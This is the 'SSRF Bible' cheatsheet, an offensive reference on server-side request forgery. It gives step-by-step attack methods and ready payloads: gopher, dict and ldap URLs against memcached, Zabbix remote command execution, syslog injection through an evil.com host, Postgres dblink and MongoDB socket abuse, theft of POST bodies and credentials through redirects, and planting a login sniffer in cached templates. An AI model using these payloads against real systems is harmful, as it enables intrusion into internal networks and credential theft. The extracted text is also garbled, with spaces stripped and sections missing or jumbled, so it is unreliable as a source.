SSRFbible.Cheatsheet

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Revision1.
026august2014Authors:@ONsec_Labhttp://lab.
onsec.
ru[ENG]@Wallarmresearchteamblog.
wallarm.
com1TableofcontentsTableofcontentsBasicsTypicalattackstepsFileDescriptorsexploitationwayURLschemasupportProtocolsSSRFsmugglingSmugglingexamplesApachewebserverHTTPparserNginxwebserverHTTPparserVulnerabilitiesBasicsExamplesGoogleDocsZeroNightshackquestchallengeExploitationtricksBypassingrestrictionsInputvalidationUnsaferedirectDNSpinningPHPfsockopen()urlparsingtricksNetworkrestrictionsProtocolfingerprintingExamplesHTTPMemcachedRetrievingdataExamplesHTTPresponseencapsulationintoXMLformattedresponse2ConsolecURLwildcardsURLresponsesconcatenationSMBRelayexploitationOriginalrequestdatasniffingExamplesMemcachedExploitsPHPFPMSyslogExploitsZabbixagentdExploitsPostgresExploitsMongoDBCouchDBExploitsFFmpegReferencesToolsResearches3BasicsSSRFServerSideRequestForgeryattacks.
Theabilitytocreaterequestsfromthevulnerableservertointra/internet.
UsingaprotocolsupportedbyavailableURIschemas,youcancommunicatewithservicesrunningonotherprotocols.
Herewecollectthevariousoptionsandexamples(exploits)ofsuchinteraction.
Seeforintroductionrelatedresearches.
Typicalattacksteps1.
Scaninternalnetworktodetermineinternalinfrastructurewhichyoumayaccess2.
Collectopenedportsatlocalhostandotherinternalhostswhichyouwant(basicallybytimebaseddetermination)3.
Determineservices/daemonsonportsusingwikiordaemonsbanners(ifyoumaywatchoutput)4.
DeterminetypeofyouSSRFcombination:Directsocketaccess(suchasthisexample)Socketsclient(suchasjavaURI,cURL,LWP,others)5.
IncaseofdirectsocketaccessdetermineCRLFandotherinjectionsforsmuggling6.
Incaseofsocketsclient,determineavailableURIschemas7.
Compareavailableschemasandservices/daemonsprotocolstofindsmugglingpossibilities8.
DeterminehostbasedauthdaemonsandtrytoexploititFileDescriptorsexploitationwayUsefulinclouds,sharedhostingsandotherslargeinfrastructures.
Firstreadslides2021aboutFDsand2223aboutProcFSfromthispaper.
TherearethreewaystoaccesstoFDs:InterpretersAPI(suchasfd://wrapperforPHP)IftherearenosuchAPIorrequiredfunctionsdisabled,youcantrytoloadnativeextension:PHP(requiredlopen,butnotexec):https://github.
com/dhotson/fdopenphpexec()callfromAPI(suchasexec('echo123>&'))youmayaccessonlyFDswithoutO_CLOEXECflag.
CprogramtoscanavailableFDsishere:https://github.
com/ONsecLab/scripts/blob/master/listopenfd.
c.
ProcFSfiles(/proc//fd/)*Note,thatyoucannotaccesstosocketsthrough/proc//fd/files!
4URLschemasupportPHPJavacURLLWPASP.
NET1gopherenablebywithcurlwrappersbeforelastpatchesw/o\0char+ASP.
NETloadXML($resp)//echo$resp.
"nn"echo$doc>getElementsByTagName("error")>item(0)>nodeValueif(libxml_get_errors()!
=null){print_r(libxml_get_errors())}>10ExploitationtricksBypassingrestrictionsBasicallyrestrictionswhichyoumayfindinSSRFexploitationcanbesplitintotwogroups:Inputvalidation(suchasregularexpressionURLfilter)Networkrestrictions(firewallsrules)InputvalidationUnsaferedirectEasywaytobypassinputvalidationisURLredirection.
HTTPclientsnotabrowsers.
Therearenormallytodounsaferedirect(exceptofJavacase).
WorksfineforcURL,LWP,ASP.
NET(exploit:http://anyhostwithredirest.
com/>gopher://localhost:11211/1stats%0aquit).
DNSpinningTobypassdomainvalidationyoumaysimpleusepinningtechnique.
Forexample,defineAorAAAArecordsonyourDNSservertoyoursubdomainsintovictim'sintranet:$nslookuplocal.
oxod.
ruNonauthoritativeanswer:Name:local.
oxod.
ruAddress:127.
0.
0.
13.
php]]>//validfooterforreadableformat15SMBRelayexploitationThistechniquedescribedinrelatedresearch"SSRF+Java+Windows=Love".
IncaseofJavabasedapplicationonOSWindowstarget,attackercanexecuteanNTLMrelayattackoverHTTP.
It'spossiblebecauseJavahasaninternalHTTPclient,whichsupportsNTLMauthenticationbydefault.
OriginalrequestdatasniffingInmanycasesthereareusefultosniffdataofinitialrequestusingSSRF.
ItsmaybeOAuthtokens,basicauthcredential,POSTbodiesandothers.
Thisproblemcanbesolvedifyouhavetheabilitytomodifytheserver'sresponse.
Youmustbeinfluencetheresponsefromaoneserver,onreceiptofarequestfromanotherserver.
Itwilllooklikeopenredirect(WASC38)orresponsesplitting/smuggling(WASC25,WASC27),butthereareserver'shttplibrarysuchascURLinsteadoftheuser'sbrowser.

307HTTPstatus(TemporaryRedirectExplained)andotherscanbeusedtoretrieveoriginalPOSTbody.
TableofPOSTredirection:Lib/Status300301302303304305306307308cURLOKOKOKOKLWPPHP16Example:$url="http://localhost/tests/redir.
phps={$_GET['s']}&r=http://localhost:8000/"$ch=curl_init($url)curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1)curl_setopt($ch,CURLOPT_POST,1)curl_setopt($ch,CURLOPT_POSTFIELDS,"key=secret")$resp=curl_exec($ch)Youcansteal"key=secret"databyusingopenredirectvulnerabilitywithresponsestatuses300,305,306,307orbyhttpresponsesplitting/httpheaderinjectionvulnerabilities.
AndtherearenowaystostealsecretinLWPcase:usestrictusewarningsmy$b=LWP::UserAgent>newmy$u='http://localhost/tests/redir.
phps=307&r=http://localhost:8000/a'$b>post($u,{'key'=>'secret'})17ExamplesSSRFalsoopenagatetovariousNoSQLattackssuchasServerSideJavaScriptinjections.
MemcachedProtocoldocumentation:https://github.
com/memcached/memcached/blob/master/doc/protocol.
txtExploitationsteps:1.
collectallkeys2.
determineinterestingkeys3.
replacekey'svaluestoarbitraryExploitationstechniques:FindHTMLtemplatesandinjectJSloginsniffertocollectlogin/passwordsFinddynamictemplates(macros,PHP,others)andinjectarbitrarycode(RCE)FindyoursessionandescalateyourprivilegesCreatenewsessionwithlongexpirationandsetadminprivilegesExploitsgopher://localhost:11211/1%0astats%0aquitdict://locahost:11211/statsldap://localhost:11211/%0astats%0aquit18PHPFPMExploitlocalinstallationtobypassrestrictionssuchassafe_modeandothershttp://pastebin.
com/XP2BYmR7SyslogTypicallyUDPbutreallycommonlistenonTCPport514.
Youmayaddstringstosyslogeasily.
Exploithttp://stringthatyouwanttoadd.
evil.
com:514/FirstconfigureDNStoresolvestringthatyouwanttoadd.
evil.
comas127.
0.
0.
1HTTPrequest:GET/aHTTP/1.
1Host:stringthatyouwanttoadd.
evil.
com:8000Connection:KeepAliveSyslogentities:Nov2300:53:50localhostHost:stringthatyouwanttoadd.
evil.
com:8000#015Nov2300:53:50localhostConnection:KeepAlive#015Nov2300:53:50localhost#015CRLFinjectionmakesyslogentitiesmoreclear(seebelow).
Exploitsdict://localhost:514/ALARM!
!
!
ldap://localhost:514/\r\nALARM!
!
!
(LWPonly)Syslogentities:Nov2300:53:50localhostALARM!
!
!
#01519ZabbixagentdZabbixisverycommonmonitoringsystem.
Monitoredserversrunningzabbix_agentdbinarywhichconfiguredby/etc/zabbix/zabbix_agentd.
conffile.
Defaultlistenedportis10050.
Zabbixagentdhaveonlyhostbasedauthorization,describedinconfigfile:Server=127.
0.
0.
1,monitor.
trusted.
network.
netTherearetypicallytoinclude127.
0.
0.
1intoauthorizedserversbydebuggingreasonsandbydefault.
Agentdprotocolisplain/textandsimple:"\n"usingaslineterminatorandpacketformatis"item[key]".
Allavailableitemslistedbelow:http://www.
zabbix.
com/documentation/1.
8/manual/config/items.
Zabbixagentdclosesocketafterfirstmalformedline(requestunexistingkeyforexample).
Soyoucan'tusesmugglingiffirstlineofrequestisnotcontrolledbyyou.
Sometimesagentdconfiguredtorunarbitrarycommandsfromservers(itemsystem.
ruusedtoruncommandsfromkeyargument):EnableRemoteCommands=1Exploitsgopher://localhost:10050/1vfs.
file.
regexp[/etc/hosts,7]Serverresponse:ZBXD127.
0.
0.
1localhostads.
localhostlocalhost.
vvasd.
localhost.
vvgopher://localhost:10050/1system.
run[ls]Serverresponse:ZBXD,usretcvarboot20PostgresAnyfunctionswhichcanopensocketsandwriteuser'sdataintoitcanbeexploitedforSSRF.
Suchasfunctionstoexternaldatabaseconnectionswhichprovidedbyallmoderndatabases(DB2/Oracle/Postgres/etc).
AttackermayusethisfunctionsthroughSQLinjectiontoexploitanythinginintranet.
DBLINKdesciption:http://www.
postgresql.
org/docs/8.
4/static/dblink.
html.
Syntaxofconnectionstringavailablehere:http://www.
postgresql.
org/docs/8.
4/static/libpqconnect.
htmlExploitsSELECTdblink_send_query('host=127.
0.
0.
1dbname=quituser=\'\nstats\n\'password=1port=11211sslmode=disable','selectversion()')MongoDBAttackermayusedifferentinternalfunctions,suchascopyDatabase()andotherstoopenarbitrarysocketandputsarbitrarydataintoit.
ExploitsWritebinarydataintosocket:>db.
copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')$ncl8000|hexdumpC000000003b0000002800000000000000d4070000|.
0000001000000000010203040506072e73797374syst|00000020656d2e6e616d65737061636573000000|em.
namespaces.
.
.
|Communicatewithmemcached:>db.
copyDatabase("\nstats\nquit",'test','localhost:11211')21CouchDBCouchDBisreallycooltargetforSSRFattacks.
ThereareHTTPRESTAPIwhichprovideattackertoexploititusingonlyvalidHTTPrequestswithoutanysmuggling.
APIdetails:http://wiki.
apache.
org/couchdb/Complete_HTTP_API_Reference.
POST/PUT/DELETErequestsmaybeforgedalsobysmugglingtechniquestoexecuteserversideJScodeforexample.